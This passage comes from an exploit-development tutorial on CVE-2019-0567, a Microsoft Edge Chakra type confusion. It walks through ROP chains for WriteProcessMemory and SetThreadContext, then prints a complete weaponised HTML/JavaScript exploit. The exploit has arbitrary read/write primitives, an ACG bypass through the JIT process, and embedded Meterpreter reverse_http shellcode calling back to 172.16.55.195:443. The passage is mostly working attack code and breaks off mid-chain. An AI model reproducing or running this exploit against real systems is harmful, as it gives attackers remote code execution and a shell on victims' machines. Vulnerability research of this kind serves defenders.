write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xd2125, chakraHigh);       // 0x1800d2125: mov rcx, qword [rcx] ; mov qword [rax+0x20], rcx ; ret (Place duplicated JIT handle into RCX)
next();                                                                     // Recall RAX already has a writable pointer in it  

// Call KERNELBASE!WriteProcessMemory
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], kernelbaseLo+0x79a40, kernelbaseHigh); // KERNELBASE!WriteProcessMemory address 
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!WriteProcessMemory)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!WriteProcessMemory - 0x180243949: add rsp, 0x38 ; ret
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)         
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // SIZE_T *lpNumberOfBytesWritten (NULL) (RSP+0x20)
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();
write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38
next();

Setting a jmp rax breakpoint, and then after stepping through the CONTEXT.Rip update and CONTEXT.Rsp saving gadgets, we can start executing our WriteProcessMemory ROP chain.

As we can see, we set nSize to 0x100. We are attempting to copy our ROP chain into the JIT process, and our ROP chain is much smaller than 0x100. However, instead of calculating the size, we simply can just use 0x100 bytes as we have a full stack to work with in the remote process and it is writable. After setting the size, our call is in the following state:

WriteProcessMemory(
	-
	-
	-
	sizeof(rop_chain)			// Size of our ROP chain
	-
);

The next parameter we will fix is lpBaseAddress, which will be where we want to write the ROP chain. In this case, it is the stack location, which we can leak from our preserved CONTEXT.Rsp address.

Using the same “trick” as before, our mov rdx, [rdx+0x8] gadget is circumvented by simply subtracting 0x8 before had the value we want to place in RDX. From here, we can clearly see we have extracted what CONTEXT.Rsp pointed to - and that is the stack within the JIT process.

Our call is in the following state:

WriteProcessMemory(
	-
	addressof(CONTEXT.Rsp),			// Address of our remote thread's stack
	-
	sizeof(rop_chain)			// Size of our ROP chain
	-
);

Next up is the lpBuffer parameter. This parameter is very straight forward, as we can simply just pop the address of the .data section of chakra.dll where our ROP chain was placed.

Our call is now in the below state:

WriteProcessMemory(
	-
	addressof(CONTEXT.Rsp),				// Address of our remote thread's stack
	addressof(data_chakra_shellcode_location),	// Address of our VirtualProtect ROP chain in the content process (.data of chakra) (what we want to write (our ROP chain))
	sizeof(rop_chain)				// Size of our ROP chain
	-
);

The next (and last register-placed parameter) is our HANDLE.

We now have our call almost completed:

WriteProcessMemory(
	fulljitHandle, 					// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call
	addressof(CONTEXT.Rsp),				// Address of our remote thread's stack
	addressof(data_chakra_shellcode_location),	// Address of our VirtualProtect ROP chain in the content process (.data of chakra) (what we want to write (our ROP chain))
	sizeof(rop_chain)				// Size of our ROP chain
	-
);

Lastly, all we need to do is set a NULL value of RSP + 0x28 and set RAX to WriteProcessMemory. The full call can be seen below:

WriteProcessMemory(
	fulljitHandle, 					// PROCESS_ALL_ACCESS handle to JIT server we got from DuplicateHandle call
	addressof(CONTEXT.Rsp),				// Address of our remote thread's stack
	addressof(data_chakra_shellcode_location),	// Address of our VirtualProtect ROP chain in the content process (.data of chakra) (what we want to write (our ROP chain))
	sizeof(rop_chain)				// Size of our ROP chain
	NULL 						// Optional
);

We can then attach another WinDbg session to the JIT process and examine the write operation.

As we can see, we have remotely placed our ROP chain to RSP! All we have to do now is update our thread’s RIP member via SetThreadContext and then resume the thread to kick off execution!

SetThreadContext and ResumeThread ROP Chain

All that is left now is to set the thread’s CONTEXT and resume the thread. Here is how this looks:

SetThreadContext(
	threadHandle,				// A handle to the thread we want to set (our thread we created via CreateRemoteThread)
	addressof(VirtualAlloc_buffer)		// The updated CONTEXT structure
);
ResumeThread(
	threadHandle,				// A handle to the thread we want to resume (our thread we created via CreateRemoteThread)
);

Here is our final exploit:

<button onclick="main()">Click me to exploit CVE-2019-0567!</button>

<script>
// CVE-2019-0567: Microsoft Edge Type Confusion
// Author: Connor McGarr (@33y0re)

// Creating object obj
// Properties are stored via auxSlots since properties weren't declared inline
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

// Create two DataView objects
dataview1 = new DataView(new ArrayBuffer(0x100));
dataview2 = new DataView(new ArrayBuffer(0x100));

// Function to convert to hex for memory addresses
function hex(x) {
    return x.toString(16);
}

// Arbitrary read function
function read64(lo, hi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to read from (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Instead of returning a 64-bit value here, we will create a 32-bit typed array and return the entire away
    // Write primitive requires breaking the 64-bit address up into 2 32-bit values so this allows us an easy way to do this
    var arrayRead = new Uint32Array(0x10);
    arrayRead[0] = dataview2.getInt32(0x0, true);   // 4-byte arbitrary read
    arrayRead[1] = dataview2.getInt32(0x4, true);   // 4-byte arbitrary read

    // Return the array
    return arrayRead;
}

// Arbitrary write function
function write64(lo, hi, valLo, valHi) {
    dataview1.setUint32(0x38, lo, true);        // DataView+0x38 = dataview2->buffer
    dataview1.setUint32(0x3C, hi, true);        // We set this to the memory address we want to write to (4 bytes at a time: e.g. 0x38 and 0x3C)

    // Perform the write with our 64-bit value (broken into two 4 bytes values, because of JavaScript)
    dataview2.setUint32(0x0, valLo, true);       // 4-byte arbitrary write
    dataview2.setUint32(0x4, valHi, true);       // 4-byte arbitrary write
}

// Function used to set prototype on tmp function to cause type transition on o object
function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto};

    o.a = value;
}

// main function
function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, obj);     // Instead of supplying 0x1234, we are supplying our obj

    // Corrupt obj->auxSlots with the address of the first DataView object
    o.c = dataview1;

    // Corrupt dataview1->buffer with the address of the second DataView object
    obj.h = dataview2;

    // dataview1 methods act on dataview2 object
    // Since vftable is located from 0x0 - 0x8 in dataview2, we can simply just retrieve it without going through our read64() function
    vtableLo = dataview1.getUint32(0x0, true);
    vtableHigh = dataview1.getUint32(0x4, true);

    // Extract dataview2->type (located 0x8 - 0x10) so we can follow the chain of pointers to leak a stack address via...
    // ... type->javascriptLibrary->scriptContext->threadContext
    typeLo = dataview1.getUint32(0x8, true);
    typeHigh = dataview1.getUint32(0xC, true);

    // Print update
    document.write("[+] DataView object 2 leaked vtable from chakra.dll: 0x" + hex(vtableHigh) + hex(vtableLo));
    document.write("<br>");

    // Store the base of chakra.dll
    chakraLo = vtableLo - 0x5d0bf8;
    chakraHigh = vtableHigh;

    // Print update
    document.write("[+] chakra.dll base address: 0x" + hex(chakraHigh) + hex(chakraLo));
    document.write("<br>");

    // Leak a pointer to kernelbase.dll (KERNELBASE!DuplicateHandle) from the IAT of chakra.dll
    // chakra+0x5ee2b8 points to KERNELBASE!DuplicateHandle
    kernelbaseLeak = read64(chakraLo+0x5ee2b8, chakraHigh);

    // KERNELBASE!DuplicateHandle is 0x18de0 away from kernelbase.dll's base address
    kernelbaseLo = kernelbaseLeak[0]-0x18de0;
    kernelbaseHigh = kernelbaseLeak[1];

    // Store the pointer to KERNELBASE!DuplicateHandle (needed for our ACG bypass) into a more aptly named variable
    var duplicateHandle = new Uint32Array(0x4);
    duplicateHandle[0] = kernelbaseLeak[0];
    duplicateHandle[1] = kernelbaseLeak[1];

    // Print update
    document.write("[+] kernelbase.dll base address: 0x" + hex(kernelbaseHigh) + hex(kernelbaseLo));
    document.write("<br>");

    // Print update with our type pointer
    document.write("[+] type pointer: 0x" + hex(typeHigh) + hex(typeLo));
    document.write("<br>");

    // Arbitrary read to get the javascriptLibrary pointer (offset of 0x8 from type)
    javascriptLibrary = read64(typeLo+8, typeHigh);

    // Arbitrary read to get the scriptContext pointer (offset 0x450 from javascriptLibrary. Found this manually)
    scriptContext = read64(javascriptLibrary[0]+0x430, javascriptLibrary[1])

    // Arbitrary read to get the threadContext pointer (offset 0x3b8)
    threadContext = read64(scriptContext[0]+0x5c0, scriptContext[1]);

    // Leak a pointer to a pointer on the stack from threadContext at offset 0x8f0
    // https://bugs.chromium.org/p/project-zero/issues/detail?id=1360
    // Offsets are slightly different (0x8f0 and 0x8f8 to leak stack addresses)
    stackleakPointer = read64(threadContext[0]+0x8f8, threadContext[1]);

    // Print update
    document.write("[+] Leaked stack address! type->javascriptLibrary->scriptContext->threadContext->leafInterpreterFrame: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]));
    document.write("<br>");

    // Counter
    let countMe = 0;

    // Helper function for counting
    function inc()
    {
        countMe+=0x8;
    }

    // Shellcode (will be executed in JIT process)
    // msfvenom -p windows/x64/meterpreter/reverse_http LHOST=172.16.55.195 LPORT=443 -f c
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0xe48348fc, 0x00cce8f0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x51410000, 0x51525041);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x56d23148, 0x528b4865);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x528b4860, 0x528b4818);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc9314d20, 0x50728b48);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4ab70f48, 0xc031484a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x7c613cac, 0x41202c02);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x410dc9c1, 0xede2c101);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x528b4852, 0x8b514120);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x01483c42, 0x788166d0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x0f020b18, 0x00007285);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x88808b00, 0x48000000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x6774c085, 0x44d00148);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5020408b, 0x4918488b);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x56e3d001, 0x41c9ff48);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4d88348b, 0x0148c931);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc03148d6, 0x0dc9c141);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc10141ac, 0xf175e038);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x244c034c, 0xd1394508);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4458d875, 0x4924408b);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4166d001, 0x44480c8b);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x491c408b, 0x8b41d001);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x01488804, 0x415841d0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5a595e58, 0x59415841);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x83485a41, 0x524120ec);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4158e0ff, 0x8b485a59);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xff4be912, 0x485dffff);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4953db31, 0x6e6977be);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x74656e69, 0x48564100);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc749e189, 0x26774cc2);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53d5ff07, 0xe1894853);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x314d5a53, 0xc9314dc0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xba495353, 0xa779563a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x0ee8d5ff);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x31000000, 0x312e3237);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x35352e36, 0x3539312e);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89485a00, 0xc0c749c1);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x000001bb, 0x53c9314d);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53036a53, 0x8957ba49);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x0000c69f, 0xd5ff0000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x000023e8, 0x2d652f00);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x65503754, 0x516f3242);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x58643452, 0x6b47336c);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x67377674, 0x4d576c79);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x3764757a, 0x0078466a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x53c18948, 0x4d58415a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4853c931, 0x280200b8);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000084, 0x53535000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xebc2c749, 0xff3b2e55);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc68948d5, 0x535f0a6a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xf189485a, 0x4dc9314d);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x5353c931, 0x2dc2c749);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xff7b1806, 0x75c085d5);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc1c7481f, 0x00001388);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xf044ba49, 0x0000e035);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xd5ff0000, 0x74cfff48);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xe8cceb02, 0x00000055);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x406a5953, 0xd189495a);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x4910e2c1, 0x1000c0c7);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xba490000, 0xe553a458);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x9348d5ff);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89485353, 0xf18948e7);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x49da8948, 0x2000c0c7);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x89490000, 0x12ba49f9);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00e28996, 0xff000000);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc48348d5, 0x74c08520);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x078b66b2, 0x85c30148);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x58d275c0, 0x006a58c3);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0xc2c74959, 0x56a2b5f0);
	inc();
	write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x0000d5ff);
	inc();

	// Increment countMe (which is the variable used to write 1 QWORD at a time) by 0x50 bytes to give us some breathing room between our shellcode and ROP chain
	countMe += 0x50;

	// Store where our ROP chain begins
	ropBegin = countMe;

	// VirtualProtect() ROP chain (will be called in the JIT process)
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x577fd4, chakraHigh);         // 0x180577fd4: pop rax ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x72E128, chakraHigh);         // .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x46377, chakraHigh);          // 0x180046377: pop rcx ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x74e030, chakraHigh);         // PDWORD lpflOldProtect (any writable address -> Eventually placed in R9)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0xf6270, chakraHigh);          // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding for add rsp, 0x28
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x46377, chakraHigh);          // 0x180046377: pop rcx ; ret
    inc();

    // Store the current offset within the .data section into a var
    ropoffsetOne = countMe;

    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x00000000);                // LPVOID lpAddress (Eventually will be updated to the address we want to mark as RWX, our shellcode)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x1d2c9, chakraHigh);          // 0x18001d2c9: pop rdx ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00001000, 0x00000000);                // SIZE_T dwSize (0x1000)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x576231, chakraHigh);         // 0x180576231: pop r8 ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000040, 0x00000000);                // DWORD flNewProtect (PAGE_EXECUTE_READWRITE)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x577fd4, chakraHigh);         // 0x180577fd4: pop rax ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, kernelbaseLo+0x61700, kernelbaseHigh);  // KERNELBASE!VirtualProtect
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x272beb, chakraHigh);         // 0x180272beb: jmp rax (Call KERNELBASE!VirtualProtect)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x118b9, chakraHigh);          // 0x1800118b9: add rsp, 0x18 ; ret
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x41414141, 0x41414141);                // Padding
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x4c1b65, chakraHigh);         // 0x1804c1b65: pop rdi ; ret
    inc();

    // Store the current offset within the .data section into a var
    ropoffsetTwo = countMe;

    write64(chakraLo+0x74b000+countMe, chakraHigh, 0x00000000, 0x00000000);                // Will be updated with the VirtualAllocEx allocation (our shellcode)
    inc();
    write64(chakraLo+0x74b000+countMe, chakraHigh, chakraLo+0x1ef039, chakraHigh);         // 0x1801ef039: push rdi ; ret (Return into our shellcode)
    inc();

    // We can reliably traverse the stack 0x6000 bytes
    // Scan the stack for the return address below
    /*
    0:020> u chakra+0xd4a73
    chakra!Js::JavascriptFunction::CallFunction<1>+0x83:
    00007fff`3a454a73 488b5c2478      mov     rbx,qword ptr [rsp+78h]
    00007fff`3a454a78 4883c440        add     rsp,40h
    00007fff`3a454a7c 5f              pop     rdi
    00007fff`3a454a7d 5e              pop     rsi
    00007fff`3a454a7e 5d              pop     rbp
    00007fff`3a454a7f c3              ret
    */

    // Creating an array to store the return address because read64() returns an array of 2 32-bit values
    var returnAddress = new Uint32Array(0x4);
    returnAddress[0] = chakraLo + 0xd4a73;
    returnAddress[1] = chakraHigh;

	// Counter variable
	let counter = 0x6000;

	// Loop
	while (counter != 0)
	{
	    // Store the contents of the stack
	    tempContents = read64(stackleakPointer[0]+counter, stackleakPointer[1]);

	    // Did we find our target return address?
        if ((tempContents[0] == returnAddress[0]) && (tempContents[1] == returnAddress[1]))
        {
			document.write("[+] Found our return address on the stack!");
            document.write("<br>");
            document.write("[+] Target stack address: 0x" + hex(stackleakPointer[1]) + hex(stackleakPointer[0]+counter));
            document.write("<br>");

            // Break the loop
            break;

        }
        else
        {
        	// Decrement the counter
	    	// This is because the leaked stack address is near the stack base so we need to traverse backwards towards the stack limit
	    	counter -= 0x8;
        }
	}

	// Confirm exploit 
	alert("[+] Press OK to enjoy the Meterpreter shell :)");

	// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)
	jitHandle = read64(chakraLo+0x74d838, chakraHigh);

	// Helper function to be called after each stack write to increment offset to be written to
	function next()
	{
	    counter+=0x8;
	}

	// Begin ROP chain
	// Since __fastcall requires parameters 5 and so on to be at RSP+0x20, we actually have to put them at RSP+0x28
	// This is because we don't push a return address on the stack, as we don't "call" our APIs, we jump into them
	// Because of this we have to compensate by starting them at RSP+0x28 since we can't count on a return address to push them there for us

	// DuplicateHandle() ROP chain
	// Stage 1 -> Abuse PROCESS_DUP_HANDLE handle to JIT server by performing DuplicateHandle() to get a handle to the JIT server with full permissions
	// ACG is disabled in the JIT process
	// https://bugs.chromium.org/p/project-zero/issues/detail?id=1299

	// Writing our ROP chain to the stack, stack+0x8, stack+0x10, etc. after return address overwrite to hijack control-flow transfer

	// HANDLE hSourceProcessHandle (RCX) _should_ come first. However, we are configuring this parameter towards the end, as we need RCX for the lpTargetHandle parameter

	// HANDLE hSourceHandle (RDX)
	// (HANDLE)-1 value of current process
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x1d2c9, chakraHigh);       // 0x18001d2c9: pop rdx ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0xffffffff, 0xffffffff);             // Psuedo-handle to current process
	next();

	// HANDLE hTargetProcessHandle (R8)
	// (HANDLE)-1 value of current process
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x24628b, chakraHigh);      // 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x48
	next();

	// LPHANDLE lpTargetHandle (R9)
	// This needs to be a writable address where the full JIT handle will be stored
	// Using .data section of chakra.dll in a part where there is no data
	/*
	0:053> dqs chakra+0x72E000+0x20010
	00007ffc`052ae010  00000000`00000000
	00007ffc`052ae018  00000000`00000000
	*/
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72e128, chakraHigh);      // .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x74e010, chakraHigh);      // .data pointer from chakra.dll which will hold full perms handle to JIT server;
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0xf6270, chakraHigh);       // 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x28
	next();

	// HANDLE hSourceProcessHandle (RCX)
	// Handle to the JIT process from the content process
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x46377, chakraHigh);       // 0x180046377: pop rcx ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], jitHandle[0], jitHandle[1]);         // PROCESS_DUP_HANDLE HANDLE to JIT server
	next();

	// Call KERNELBASE!DuplicateHandle
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], duplicateHandle[0], duplicateHandle[1]); // KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x272beb, chakraHigh);      // 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x243949, chakraHigh);      // "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret
	next(); 
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x41414141, 0x41414141);             // Padding for add rsp, 0x38 (shadow space for __fastcall as well)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // DWORD dwDesiredAccess (RSP+0x28)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000000, 0x00000000);             // BOOL bInheritHandle (RSP+0x30)
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], 0x00000002, 0x00000000);             // DWORD dwOptions (RSP+0x38)
	next();

	// VirtuaAllocEx() ROP chain
	// Stage 2 -> Allocate memory in the Edge JIT process (we have a full handle there now)

	// DWORD flAllocationType (R9)
	// MEM_RESERVE (0x00002000) | MEM_COMMIT (0x00001000)
	/*
	0:031> ? 0x00002000 | 0x00001000 
	Evaluate expression: 12288 = 00000000`00003000
	*/
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x577fd4, chakraHigh);      // 0x180577fd4: pop rax ; ret
	next();
	write64(stackleakPointer[0]+counter, stackleakPointer[1], chakraLo+0x72E128, chakraHigh);      // .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)
	next();
